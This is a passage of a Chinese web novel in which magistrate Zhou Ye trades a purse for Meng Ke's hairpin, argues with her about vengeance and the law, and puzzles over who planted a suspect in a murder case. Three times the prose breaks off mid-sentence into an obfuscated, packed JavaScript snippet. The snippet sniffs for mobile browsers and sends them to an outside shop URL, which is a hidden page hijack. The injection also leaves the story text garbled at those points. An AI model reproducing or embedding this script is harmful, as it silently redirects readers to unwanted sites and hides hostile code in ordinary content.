一听银子，一旁的回雪、洗墨齐齐看向二人。 回雪疑惑地看着小姐，手上犹豫着，要不要往钱袋伸。 孟珂看也没看她，拦道：“我要的是周大人的银子。” 周冶不知她是何意，疑惑地伸手拿钱袋：“多少？” “二十两。” “二十两！” 周冶叫了出来，困惑又好笑地道：“二十两，若买这铺子呢，少了点。买这些纸呢，又太多。小姐是要拉几大车回去？也不知府上要这许多做什么？” “那就不劳大人费心了，大人只说借是不借？” 他将钱袋拿在手上，还想说什么。 孟珂劈手便夺了过来，打开一看，又掂了掂，里面的金银，折下来远不止二十两，笑着大方地一指。 “大人也挑一些？我看着着实不错。” 周冶看着她，又看向老板：“那……小姐要什么，一样的，给我来一份。” 洗墨直觉这话有点耳熟，仿佛才刚听过。 孟珂拿出几块碎银子付钱，冲他笑道：“大人放心，不会让你吃亏的。” 洗墨的肚子又叽咕响了起来，看看孟珂，又看看周冶：“公子，咱们早饭还没用呢，不留点——” 周冶抬手示意他闭嘴。 又看着孟珂道：“你一文钱不留给我也就罢了，怎么连钱袋也不还？” 孟珂看了手中钱袋一眼，笑道：“这钱袋嘛，就当借钱的信物了。” 周冶好笑：“不是……都是借钱的人拿东西作抵，哪有出借的人给信物的？” 孟珂并不理他，径直朝店外走去。 “走，我请大人吃饭。” *** 孟珂跟回雪边走边看，往池老板推荐的酒楼去，马车自在后面跟着。 “拿我的钱，请我吃饭？” 周冶跟了上去，“别急着走啊！倒是说说，拿我的钱，还扣着我的钱袋，到底有什么算计？” 孟珂看着街上的人潮，半真半假地道：“这世道，远远没有看起来的这么太平。我一个小女子孤身在外，心中自然害怕。” 又转身看他，“如今，我欠着大人你的钱。待我哪日遇到危险的时候，大人便是为了收这笔账，也得出手救救我啊。” 周冶：“……” 回雪和洗墨：“……” 不知什么时候从哪儿钻出来的侍剑，点头道：“有道理啊！” 几人转头看他：“……” 周冶走在后面，看着孟珂的身影，不由又想到方才的字。 他虽得了点蛛丝马迹，但也只能说有这样的可能性，狂想变成了猜想，但还远远不到确认的地步。 还有一些关节，此刻仍说不通。 比如，她若是梁家女，那曾怀义如何认不出来？那从小一起长大的曾铭，如何把她认作霍家小姐？ 他还需要更多确认。 想到此，周冶忽而问道：“听说，曾家二公子昨日独自去了熹园。” “有什么要紧的体己话，前日碍着我这个外人在，不便与小姐说？竟在自家忙得不可开交的时候，去熹园拜会小姐？” 18. 律法 孟珂闻言停了步，转头看周冶：“什么外人内人的。周大人是外人，我又是谁的内人？这般随口诋毁女子清誉，是你周大人做人的道理，还是你周府处事的规矩？” 周冶原随口一说，没有想到这一层：“对不住，是我失言。” 孟珂轻笑：“这漏成筛子的，不是衙门，而是熹园哪。” 周冶是有心试探，完全避而不答也不行。 说着，又看了他一眼：“不瞒大人，我原也以为曾二公子是有什么话说。可他去，就只……看了看园子。” 她以为，逛园子是借口，曾铭应该是要找机会试探，不只应允，还陪着他去逛。 然而，曾铭并不攀谈，只不时驻足，呆呆地看上一回，复又前行。 就那么一路无语地逛到了后门处，他便告辞，说自后门而出，顺道去湖边走走。 临走，他才说了一句：“不瞒小姐，我也算是在这个园子里长大的，但自从当年……大火之后，我还没……瞧过这个园子。今日谢小姐成全。” 这不是他第一次来，但的确是第一次看。 那夜，他在父亲书房外，听人回报说，卢府小姐住进了梁家大宅。不知为何，他登时就有一种莫名的感觉升起。后又得知，他爹当日见了樊仲荣，次日还亲来梁家大宅拜访。 他心中的疑惑愈盛，当夜便忍不住来探。 他在烟雨斋外等了半夜，原以为看不到人了，正要离去。 这时，却见窗户开了。 一个丫头伺候着小姐，到窗下坐了。 他瞧着，这位卢府千金的面貌眼生，但却有种莫名的熟悉之感。 有些时候，双目易被蒙蔽，而人心却自有其明。 江湖多异士，或许有奇诡的手段可改变人的面貌。面貌可变，人的眼睛却很难变。他看着那双眼睛，便知道是故人。 及至曾府再见，近距离地看着，他那种感觉又更强烈了——她看向自己的眼神，是熟知他的，她临走的劝告，也是真心的。 她既不相认，想必自有她的一番道理。 曾铭走出几步，又站住了，转头望着孟珂：“周大人今日问了我一些话。” “他想知道，小姐可有要挟我父亲，又可有……旧怨。小姐，还要多加保重。” 说完，朝她微微点点头，便转身而去。 “二公子！” 孟珂在他身后突然问道，“你就不想问问，你父亲之死，与我有没有关系？” *** “就只看了看园子？”周冶察看着孟珂的反应，琢磨着道。 孟珂点头。 听她问出那一句，曾铭站住了，但只略站了站，就轻轻一摇头，头也不回地走了。 倒是她看着他离去的背影，愣了一回神，半晌方去。 周冶看她说话的样子，不像有假，仿佛她自己也有些困惑。 他看着孟珂的反应，又道：“听说，这曾二公子是同那梁、霍两家的小姐一处长大的。三人是青梅竹马，极为亲厚。” 孟珂“哦”了一声，没什么兴致：“是吗？倒没听曾大人提。” 周冶停了步，看着她：“我想着，这霍家案……该去问问他，小姐以为如何？” “他能知道什么？”孟珂脱口道。 曾铭这个未婚夫知不知道内情，又知道多少，她如何能确认？ 又补道，“大人想想他那日的样子。我瞧着，这位公子不会察言观色，说话做事，也自有一份……痴劲。那些常人都不知的隐秘，他如何能得知？” “这倒不假。不过……” 周冶着看她，意有所指地笑。 “小姐这话，倒像很了解这曾二公子。” 孟珂笑了，冲着路边一个卜卦算命的摊子，轻轻一抬下巴。 “大人去那儿坐下，让那算命先生说上几句，少不得也有几句甚是有理。难不成，那算命先生也很了解大人？不过是些看人说话的本事罢了。” “我虽不才，没本事摆摊骗钱，但瞎说中几句，也是有的。” 说着，停步看着周冶，“难不成，这就能唬住大人了？” *** 周冶笑笑，过了一会儿，又转而道：“这曾二公子吧，倒不肖其父。曾家其他人不敢说，但他的手上，我想是没沾血的。” 孟珂淡淡的：“也许吧。” 周冶又问：“你说曾家这祸事，算到头了吗？会随着曾怀义身死债消吗？” 孟珂冷笑：“这得看，他那条命够不够还了。若欠得多，债主自然是要登门讨的。” 周冶脸上的笑散了：“你的意思是，他的债，会落在曾家其他人身上？” “不无可能。” 周冶停步看她。 孟珂却好笑地看着他，反问道：“怎么，功劳可以封妻荫子，福荫可惠及子孙，偏偏祸事就不会牵连家人了？” 凭什么福要同享，祸不同担？ ”小姐的意思是，哪怕是曾二公子这样手上干净的，也要还这份债？” “父债子偿，不也是天经地义？” 孟珂直视着他，目光坚定，“要怪，也该先怪他爹为何欠那么多吧。难道不怪那欠债的，倒去怪讨债的不成？” “身死债消，还是父债子偿，到底怎么才算公道？这天下人，各人有各人的想法。但只一点，债主可以自己选择，不牵连祸首的家人，但世人却不可以慷他人之慨，理所当然地去要求人债主这么做。” 周冶未发一语，孟珂连珠炮似的继续逼问道。 “当初，他曾怀义欠下这债的时候，可以无缘无故，平白害人。如今，人债主，反而不可牵连这有因有故的？这不是欺负人吗？” 说完，孟珂睨了周冶一眼，冷笑一声。 “是，依朝廷律法，杀人者当偿命。你周大人坐在公堂上，不会管杀人者是平白杀害无辜，还是被害者的被迫反抗、含恨复仇，都要依律判罚。只要手上轻抬一点点，都算顾念了。” “这便是为何世人从来都说，公道自在人心，没人说，公道在律法。” 周冶自然知道，律法的公正，与人心的公道，很多时候都不是一回事。 他自然也听过一句话，未经他人苦，莫劝他人善。 梁家大火的上百条人命，当年只十一二岁的小姑娘，如何在狼口/活下来，又是如何长大。其间到底有多大的仇，多深的恨，他委实难以想象。 他顿了半晌，还是开口问道：“若是小姐你，会去向人子孙讨要吗？” 他只是想知道，这位可能是梁家小姐的孟珂，这位放言不会让仇人速死，而是要折磨泄愤的主，是讲究冤有头债有主，还是要屠戮殆尽。 这绥陵城的风云，是能风吹云散，还是才刚开始。 孟珂走近他面前，抬脸看着他，嫣然一笑：“若是大人你呢？” 周冶低了头，设身处地想了一回，他还还真不知道。 孟珂意味深长地笑着看了他半晌：“算了，这饭……是吃不下了，回去吧。” 周冶看着她转身上了马车，一时也不知说什么好，也翻身上马，不紧不慢地跟着。 “她们不吃，咱们……”洗墨摸摸瘪了的肚子，差点连马都爬不上去。 *** 地面干燥，一路尘土飞扬。 三人骑马跟在熹园的马车后头，正好吃灰。 “偏要跟在后头就算了，不能隔远一点儿吗？”洗墨开始还不时抬手扇一扇，后来干脆用袖子捂着口鼻，不满地看向公子。 可公子若有所思地提缰缓步而行，对飞灰浑然不觉，看都没看他们一眼。 马车突然掀了帘，回雪朝后露出小半个身子，倚窗看着三人，笑得开心极了。 笑了半晌，才道：“大人就这么不放心？宁愿吃灰，也要盯着。我们就两个弱女子，还能去杀人放火不成。” 周冶讪讪笑了笑，没作声。 一旁的洗墨看看公子，又看看侍剑：“昨日在曾府看到，还觉得孟小姐身边的姑娘，人美又和气。可今日带的这位姑娘，怎么这般嘴毒，连公子的面子也不给。” 说着，偏头遥想，“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16999115|193939||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还是上次那个姐姐好......” 侍剑不听他说完，鼻子里喷笑出一声，怼着洗墨的脸：“上次那个姐姐，跟这次这个姐姐，都是一个姐姐！有些人天生睁眼瞎，还看什么美人呢！” “是……是吗？” 洗墨摸了摸后脑勺，尴尬地笑了笑。 行至半路，马车停下，车夫自去饮马，孟珂也下车走动休息。 她一下车，周冶就走上前来，直言道：“今早，有人举告霍家主母郑氏。” 她应该一早就奔池记去了，还来不及得到消息。 果然，孟珂一听，顿了一瞬，突地笑了——把生母推出去，这可真是一记奇招。 周冶心道，果然，她还不知此事。 “好久没听过这么好笑的事了。” 说着，抬手去擦眼角笑出的眼泪。 “好笑在哪里？” 孟珂擦了泪，顺手摸着脸颊，笑道：“有人看大人辛苦，迫不及待要帮您结案了。这台阶都给您铺上了，大人还不顺着下去？” “小姐觉得，这人是谁？” “大人总不会觉得是我吧？” 孟珂一副看好戏的样子，看着他笑，“这个案子再不结，只怕还有更好笑的事要出呢。” 说完，抬眼看看天色，举步便要回马车上。 *** “等等——” 周冶拦道，“咋俩还有一事未结。” “何事未结？” 孟珂奇道，转身看他。 周冶双手抱在胸前，上下打量起她来——该拿什么作抵才好呢？不能又让她耍一回，那他成什么了。 孟珂让他看得更奇怪了。 这时，风吹云动，太阳自浓云后露出，孟珂髻上突地金光一闪。 有了！周冶心念一动，笑着走上去，抬手一拔，孟珂髻上那支金丝绿萼的梅花簪，便在手中。 “你——” 孟珂惊道，抬手摸了摸自己发髻，似乎要防他再动手。 “小姐——” 取水回来的回雪，闻声便要冲上去。 一旁的侍剑已经横剑一拦。 孟珂冲回雪一抬手，示意她不要动作。 周冶看了回雪一眼：“你这丫头倒是护主。” 但光靠这几分的泼辣，外加十分的忠心，可不够。 这一个车夫，一个小姐，一个丫鬟，只差个婆子，就能把老弱妇孺占全了。 于是道，“小姐出门也不多带些人。” “大人这是对自己治下的安全没信心？” 周冶气结，自己瞎操什么心呢，没准儿暗处多少人呢——不过......他四下看了看，这一路好像真没人。 孟珂看着周冶道，“谁家公子不是送人珠钗首饰，哪有大人这样抢女人首饰的？” 周冶反口道：“谁家姑娘不是拒收男人财物，哪有小姐这样当街抢男人钱的？” 侍剑和洗墨相视一眼，噗嗤一声，笑了出来。 转头见回雪杏眼圆瞪，恨恨地看他，忙又收了，但还是忍不住又笑了。 “来而不往非礼也。”周冶将簪子当空一抛，又轻轻接住，“小姐拿我的钱袋为信，我就押小姐的金簪为凭了。” 侍剑看了回雪一眼，笑着道：“公子，你何苦跟人小姐……” 洗墨却抬手一撞，制止了他。 只听周冶道：“怎么，小姐与那曾二公子，可有一钗之情。与周某，就不能有一簪之凭了？” 说着，他将簪子当空举起，左右一挥，得瑟着朝自己的马走去。 “等等——” 孟珂的声音沉了下来。 周冶站住，回身看她。 她面色平淡，却字字掷地有声：“周冶！你听好了。” 这样直呼他大名，还是警告加威胁的语气。 周冶脸上的笑倏地变成了惊讶，好笑又奇怪地看她。 “此簪，你可收好了，等我来取。若是弄坏了，弄失了……”孟珂顿了顿，道，“我定废了你今日这拔簪的手。” 19. 癫狂 认识孟珂至今，周冶见过她柔弱无依，见过她跋扈霸道，也见过她虚情假意，心深似渊，但没见过她这样直白却认真地呲牙露狠。 这一瞬，周冶自己都觉得神奇——心里竟没觉得被威胁而生气，被下面子而丢脸，他只是......愕然。 他抬手细看了看那簪子。 金簪的做工精细，翠玉的成色极好，绿的嫩得出水，白的莹润透亮，用来做这绿萼梅花瓣，恰如其分，多一分则重，少一分则浅。 材质上好，也富巧思，但......她身上多的是更贵重、更罕见的首饰。别说一件，便是让他拿个十件八件，眉毛都不该抬一下啊，怎么还动真格的了呢？ 也不知为何，他此时莫名想到，哪怕是抢了那日的海棠钗，她也就笑闹一下便过了。 所以......对她来说，此簪，必定是极重要之物。 自己这随手一拔，该说是……运气好，还是手欠呢？ 可拔也拔了，人的狠话也放了，此刻还回去，又有点下不来台。 若要放更狠的话回去，自己又有点理亏。 周冶心下哭笑不得，手上举棋不定。孟珂却不等他慢慢琢磨，转身上车了。 他看着，“诶”了一声，尴尬地捏了捏手中金簪，只好往怀里一揣，也上马而去。 “小姐，你怎么任那周大人拿走你的绿萼呢？” 那是她当日离家的时候带走的，也是身边所剩无几的旧物之一。 烟雨斋里，回雪已换了身衣服，把热茶放下。 “他拿着就拿着吧，”孟珂在案前拆着这日新送到的信，边看边道，“早晚让他乖乖还回来。” 说着，手上一顿，笑道：“哟，动作还挺快。” 回雪当即听懂了：“已经查到卢府去了？” 孟珂笑着点头，将信重新叠成一条，在火上点了：“只怕见了我第一面，就立刻派人去了。” 回雪不放心：“他们既已怀疑，会不会做什么对小姐不利的事？” 孟珂笃定地摇头：“怀疑归怀疑，没有证据。这一时半会儿的，谁想动我，都得掂量掂量，是不是兜得住后果。没有几分确认，犯不上冒那么大险。” 聪明人，通常都谨慎严密——而人身上的优点，有时也会成为破绽和机会。 信燃到尽头，只剩一角，快烧到手，她看着最后一个字燃尽，才撒了手。 那一角落进一旁的炭盆里，触到红炭的瞬间，一簇火苗当即盛放，黑色的纸灰骤然亮红了一片，随即渐渐灰败了下去。 炭盆里的红光，映在孟珂的眸子里，有种某种妖异的美。 她轻笑道：“不过......小麻小烦什么的，是要开始缠上身了。” *** 却说县衙里，那郑氏已经被拿了来。 那虞三只看到她走过，并没亲眼目睹她杀人行凶，别无证物，只能审口供。 但自周冶上任，下了个奇怪的令，说一切严刑逼供，都得县令亲自下令，再由亲随来审——免得大家抢功，有损衙门的祥和气氛。 衙门中人一时都听懵了，上头向来只嫌底下不积极，哪有怕底下人踊跃的？那些百般折腾，强要政绩的县令见得多，而这种纯玩的、放飞的县令，一时倒把大家整不会了。 不过，这位公子县令也不是第一天奇怪了。 自他来了以后，撤了不少政令，衙门里的公事顿时少了。这几年，常年休沐都休不上，如今竟能正常休了，众人一时还不大习惯，甚至反而心生忐忑——不知道这位接下来会出什么幺蛾子。 时间久了，慢慢也就放下心来——这位也就是公子哥儿习气，懒散成性，喜欢岁月静好，祥和喜气。 反正一个大人有一个大人的癖性，他们只要有禄米领，听着便是了。 只是，如此一来，审问手段不免就局促了。 那郑氏呆呆的，仿若木胎泥塑一般，什么也不怕，什么也不说。他们只得将人关着，等大人自己派人去审。 进了大牢，她也一直呆坐着，不知何时从头上拔下一支发钗，紧紧拽在手里。 初时，只怕她要自尽，可几个汉子去抢，愣是抢不下来；又盯着看了多时，见她没有寻死的意思，便由了她去。 *** 周冶回来，去看了一回。那郑氏仍是两耳不闻牢外事，一心只做呆菩萨。 他也没叫人严审，只吩咐好生看着，别出意外。 因为他觉得太过蹊跷——虞三怎么能一眼认出，那个仓皇跑过的妇人，就是那霍家郑氏。 女人上了年纪，最需要富贵、清闲来养。当年的霍家郑夫人，经过了霍家案，熬过了五年牢狱，出狱后又劳作了两年下来……早不复当年模样，头也低了，背也勾了，苍老了十岁有余。 如今的她，就算大喇喇走在大街上，有几个人能认出？ 何况，那天还是夜里，湖边更是昏暗。 就算他虞三眼尖，就算他能发现几分面熟，认不出、想不起才是常态。 毕竟，郑氏消失在众人视线里那么多年了。她出狱后虽回了绥陵，但至今几乎没人知道——回来便躲去了乡下，避着众人，替人做些浆补的活计为生。 对绥陵城的大多数人来说，她早就是个生死不明的人。就连涤砚和洗墨在衙门里打听的时候，都没一个人想到她来。 周冶最近总是回来就钻进书房，就跟那屏风有什么魔力似的，有事没事就围着它打转。 这不，洗墨轻轻一推门，就见他又杵在那儿，摸着下巴思索，也不叫他，放了热茶，就轻手轻脚地又退出去了——自从打扰过他一回，说吵得他丢失了重要灵感，发了几次脾气之后，就乖了。 周冶的眼睛，此刻正盯着郑氏那张纸片。 ——这一局里，郑氏这颗子，到底是谁放的？ 周冶一开始疑心，是孟珂用她送消息上门，毕竟这个时机太寸了。 这背后落子之人，得知道他重查霍家案，得知道郑氏行踪，得有个趁手合理的人或理由，把郑氏送上门来。 最重要的是，这一切都是从孟珂到绥陵开始的。虽然动曾怀义的人未必是她，但启动这一整盘棋局，对弈的人是她。他所有疑心，自然也最先落到她头上。 但他提起此事时，孟珂并不知情。再看到郑氏一言不发的样子，周冶的怀疑又打消了几分。 再一想，他开始查霍家案的事情，衙门里都知道了，一夜之间传出去了不奇。 若不是孟珂，他的疑惑，就从“落子之人想让郑氏说出点什么”，变成了“难道就不怕她说出什么？” 霍家案是关键，而郑氏是最重要的当事人之一。她若吐口，案子便可能藏不住了——这不符合曾怀义一方此前费力掩盖的打算。 周冶的目光在屏风上来回挪动，若不是孟珂，也不是当年曾怀义办案的一方，还剩下因为实在太明显，反而让他首先排除的——梁夫人。 孟珂、曾怀义一方、梁夫人......这些人名走马灯似地在周冶脑中转着。 他抬手掐了掐太阳穴。唯一能确认的就是，不管推出郑氏的人是谁，此人都与霍家案、曾怀义案，关系极其密切。 突然，有什么东西呼之欲出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16999116|193939||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 周冶腾地站起身，走到屏风前去。 从他怀疑孟珂真实身份开始，就有一个巨大的问题，横亘在他的猜测之上——如果孟珂是梁家小姐，那位梁夫人又是谁？ 他抬起的右手，不自觉地握起拳，又展开，展开又握上，终于上前，将那原本放在孟小姐之侧，如今被摆在旁边的霍家二字，试探着……摆到了梁夫人之侧。 难道……她才是霍家之女？ *** 周冶的脊背一凉。 那日，侍剑在曾府偷听了孟珂和梁夫人的对话。听孟珂的意思，她怀疑曾怀义的事是梁夫人做的。 若梁夫人是霍家女，她会杀了救自己于水火的恩人曾怀义？会让虞三推出自己的生母郑氏？ 这……霍家母女俩，母亲强/逼/幼/女，令其遭多人/奸/污？ 而女儿又推出母亲，作其杀死恩人的替罪羔羊？ 如果这些都是真的…… 那这个世界大概都……疯了。 至少周冶觉得，自己整个人都有点……不好了。 他退后几步，在椅子里坐下，无力地塌了进去，半晌，又抬头看着屏风。 这粱、霍二字对调，似乎通了，可又还是什么都不通。 看着看着，他笑了起来，真是越来越有意思…… 不，是越来越……癫狂了。 只不知，这癫狂的是自己的猜想，还是那些人和事。 周冶笑了一回，目光又看回了郑氏。 比起霍家女杀恩人嫁祸生母，虞三的说法变得不那么可笑了，难道真是她？因为当年之事恨上了曾怀义，得到了什么帮手或助力，结果了他？ 又或者，除了屏风上面这些人，还有其他人和势力介入，只是还未在他面前现身？ 毕竟，曾怀义不可能没有仇人，数量还不会少，他这人背后势力错综复杂，利益各种纠葛，有太多人有理由让他死了。 这一局棋，谁说只能有两个执子之人呢？这人形的棋子，谁又没有自己的想法？ *** “那个郑氏，小姐怎么打算？”回雪问。 孟珂仍一封接一封看信，不时简略写几句回信，闻言，手上顿了顿，似笑非笑地道，“不打算。这个奇招，倒有几分厉害。” 想到了什么，又笑道，“不过，正是有奇招才有意思呢，以后，也许倒能有妙用。” “小姐不是说，这郑氏是给周大人结案的台阶？这个案子就这么结了？” “这就是该周大人烦恼的事了。” 他现在脑子应该都要炸了，人心之诡谲，人性之幽微，周大人以前怕是看得还不够。 想到此，孟珂不由失笑。这笑里，本来还有两分同情，可一想起他抢走自己金簪，又心里骂了一句，该！ 周冶塌在椅子里，突然觉得耳朵发热，仿佛有人骂他，鬼使神差地又从怀里掏出那支金簪来。 此簪到底有什么特别？ 那日的海棠钗是因曾铭，这一支呢？难道又是跟谁有说头的信物？可她今日见的，也就一个池老板......虽说池老板年轻的时候应该也曾英武帅气，但毕竟都徐娘......池郎半老了......不至于...... 难道是她自己喜欢？他拿在手上来回转着看，熹园的红梅听说是不错，可没听说有什么绿梅啊。 把玩了许久，也没看出什么端倪来。 末了，他无趣地随手往案上一搁，竟正好磕到一旁的镇纸石上，“当啷”一声脆响—— 周冶的心，也跟着从嗓子眼儿里蹦出来了—— 20. 悬心 那金簪被镇纸石一磕，跳进了一旁的砚台里，砸得墨迹四溅，又掉地下去了。 周冶被溅了一身墨点，一口气憋在心口，俯身钻到案下，却看不清，又起身拿了烛火照着，再去找。 书案就在窗边，洗墨呆在廊下听差，听到里面当啷脆响，又是挪椅子、翻找的动静，忙伸了脖子，往里一看。 见公子一脸恼火相，拿着那支金簪，凑近了烛火，正拿袖子小心地揩着。 “得，除了屏风，又多了一样宝贝。” 侍剑也伸了脖子，往里看：“公子这是又魔怔了。最近也不出去赏雪看花，吃喝玩乐了，成日不是往外查案，就是闷在书房瞎琢磨。” 洗墨笑：“这就是他的新玩乐啊！咱们公子，只要对什么生了心，可不就要一头钻进去，魔怔一阵儿不可。” 懒的时候其懒无比，但捣鼓起自己有兴致的东西来，就有种非要弄明白，搞得比谁都厉害的魔怔劲儿。 洗墨想起了什么，脸上难得地沉了下去，喃喃道：“每每这种时候，夫人总说，这就是他们周家的血脉。” 侍剑看了他一眼，脸色微动，没搭腔。 周冶顾不上窗口两人的动静，将墨迹一一擦净了，又上上下下、里里外外地仔细看了几遍，见没磕出一丝伤痕，那颗悬着的心，好歹才缓缓落了定。 他长吁出一口气来，想起自己方才这场惊慌，又觉好笑。 他自然不怕她废了自己的手——本就只是同她玩，扣作凭证，一不想强占，二不打算损毁。 他只是有些懊恼……怎么就那么寸，夺了她重要之物呢。 她被抢的东西……还不够多吗？ 他几次试探她的身份，也没落个实证，始终只停留于自己的猜想。可他就是没来由地觉得，自己的猜想是对的。 可越觉得是对的，那因为她不是霍家女而轻松起来的心，就越发沉了下去——她梁家女的遭遇，算比霍家女“好”上几分么？霍家案的真假尚且不明，但梁家却明明白白丢了那么多人命，还是一个个被活活烧死的...... 他在城中闲逛时，有意跟些上年纪的人聊起梁家大火，说起当年的“火烧房子”，一个个仍有种历历在目、劫后重生之感。 一个自家也被带累烧毁的老人，颤巍巍地咬牙切齿道：“火烧房子！烧了我家！什么都没了，一夜之间什么都没了！” 人还活着，但一生积蓄化为乌有，尚且如此愤恨。什么都搭了进去的梁家呢？ 为什么左近几家虽有伤亡，到底不曾灭门，偏偏梁家一个人都没跑出来？官家私邸，防火本就比寻常人家严密。又是临湖大宅，翻墙跳湖不能活吗？ 实在有太多谜题未明...... 周冶吁出一口气，起身寻了个带锁的木盒来，仔细放进去，好生收了起来。 *** 那郑氏始终不开口，曾怀义的案子一时不好结，但曾家的丧事却不好再拖下去了。 丧家自然都想让亲人早日入土为安，又眼看就要过年，再耽误下去，就更不知几时了。而况那曾怀义的尸身，经县里、郡里的仵作交叉验了几回，也没有再扣着的必要。 曾铭再来提，周冶就干脆地应了。 他也有自己的打算，如今借着葬礼，走上一手，也许能有新的发现也说不定。 曾家一应东西早就备下，领回去，说话便定了下葬。 出殡这一日，合郡的官员都来了，连州里也来了不少。那外州县的也有闻讯赶来相送的。此前提拔曾怀义的安州刺史孙秉，也派了心腹胡七爷来。 作为“黑白共主”，其他来路的人自然也不少。周冶注意到的有两个，一个是三州商会会长梁云钦，一个是黑石堂堂主孙九爷。 这些商贾和江湖人士自然是低调来，低调去，不招惹注意。 只是，周冶看他二人两双眼睛骨碌碌转，一直四下探看着，不时低声密语，也不知有什么勾当。 他想让侍剑去盯，却不见了他人。 一转头，倒是在人从中，看见了梁夫人和陈万霆。 这陈万霆比他大两三岁，出仕也早几年，现如今已经是太守，正是他顶头上司。 此人生得是一表人才，长身玉立，面目清俊、俊彩飞扬，正是有为青年的样子。 周冶自然不是头一次见他，却是头一次用心细看他的面貌——儿随母相，他和梁家小姐是表兄妹，或者有相似之处呢？ 可他看了半日，这陈万霆的样貌，不管跟孟珂，还是梁夫人，都说不上什么联系。 不过，孟珂如今的模样，是她原本的样子吗？ 而这梁夫人，又是她原本的模样吗？ 这不想让人认出来的，能做到不被人认出的，自然都有因由，只是他现在还不知道，那因由是什么。 他看着梁夫人，心念一动，也寻找起郑氏的痕迹来。 她真的是霍家女吗？ 霍家和曾家既然来往密切，在场这些亲朋故旧，没有霍家熟识的人，都不认识霍家女儿？ 而青梅竹马的曾铭，如何对梁夫人视若无睹？ 这曾怀义，真的是她杀的吗？幕后黑手，堂而皇之地出现在被杀之人灵堂前，不露得色，也不露怯，而是如此分寸合宜地遗憾、惋惜吗？ 今日这个戏台，有他的蓄意推动布置，周冶到处转，到处看，却始终觉得差了点什么。 怎么独独不见孟珂的人影？这样的热闹，她怎么会错过呢？ 正奇怪着，侍剑朝他走了来。 周冶看了一眼梁云钦和孙九爷的位置，正要开口。 侍剑却凑在他耳边，低声道，“公子，有个小叫花子，拿了个钱袋来，说要转交周大人亲启。” 钱袋？周冶心中一凛，不好的预感顿时浮上心头。 “待我哪日遇到危险的时候，大人便是为了收这笔账，也得出手救救我啊。” 孟珂那日的话，言犹在耳，周冶记得格外分明。 他四下里又扫了一圈，确实没来。 难道她……真出事了？ 周冶忙问：“人在哪？” 侍剑带着他，急急往府外走去。 一出大门，就看到个小叫花，伸长脖子，垫着脚尖，不时蹦起来，不时又矮下身子，从人从缝中瞧热闹。 他忙朝那孩子乱晃着的手里一看，心下咯噔一声。 那只黑黢黢的手捏着的，不就是那日在嘉县，让孟珂拿走的钱袋。 *** 周冶的一颗心，顿时悬了起来。 那小叫花很是敏锐，一眼看见两人朝他疾步走来，捏着钱袋的手往身后一藏：“你们到底谁是侍剑？谁是周大人？” 周冶朝侍剑一摆头：“他是侍剑，我就是周大人。” 那小叫花看了他一眼，又看了看侍剑，心里估摸了一下，才伸出小黑手，朝他们一摊：“一两银子呢？” 周冶和侍剑相视一眼。 见公子眼神同意，侍剑掏了银子，放入那小黑手中。 小叫花的眼中顿时一亮，脸都显得没那么黑了，笑嘻嘻地把身后的手拿出来，将钱袋递了过来。 周冶一接，瘪的，拇指和食指一捻，里面有纸质的东西。 难道是银票？他看了小叫花一眼，银票犯得着让小叫花来送？ 打开一看，果然不是银票，而是一张折好的花笺。 可展开来看，却空白无字。 但这就是孟珂那日挑的，他自己也随口要了份一模一样的，回去还全部摊开来一一看过，不会认错。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16999117|193939||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 周冶急道：“这钱袋哪里来的？” 小叫花道：“我在土地庙里睡觉，听见路人说，今日曾府有大热闹，就想进城看看，但凡有大热闹的时候，赏钱也好讨。” “说重点！”周冶打断他。 小叫花道：“上路没多久，突然有人冲出来捂了我的嘴，把我拖进了草丛里。我吓了一跳，不管不顾地挣扎踢打了起来，结果，扭头一看是个漂亮姐姐……” 漂亮姐姐？周冶和侍剑四目相对，不约而同想到，是回雪，还是孟珂？ “我看是漂亮姐姐，就舍不得打了。她跟我说，只要帮她把这钱袋拿到曾府，找一个叫侍剑的人，交给周大人，他就会给我一两银子。” 周冶伸手向侍剑，拿出碎银子，朝小叫花晃了晃：“她就一个人？是小姐还是丫鬟打扮？” 也知道是白问，卢府的丫鬟，比外头的小姐还体面。 小叫花想了想：“是小姐吧？穿得可好了。对，就她一个人。好像有什么人追她，她躲在草丛里，头发都散了，还挂着草呢，身上的好衣服也蹭了泥。慌慌忙忙说完，就推我走了。” 周冶重重地吐出口气，上次就提醒她出门多带点人，也不听，一时心思比谁都缜密，一时又如此大意！ 周冶要将银子扔给小叫花，突然又捏住了：“还可再得一两银子，你想不想要？” 小叫花的眼睛粘在了他手中银子上，听到还有更多，头点得拨浪鼓一样。 “你带我们去碰到漂亮姐姐的地方。” 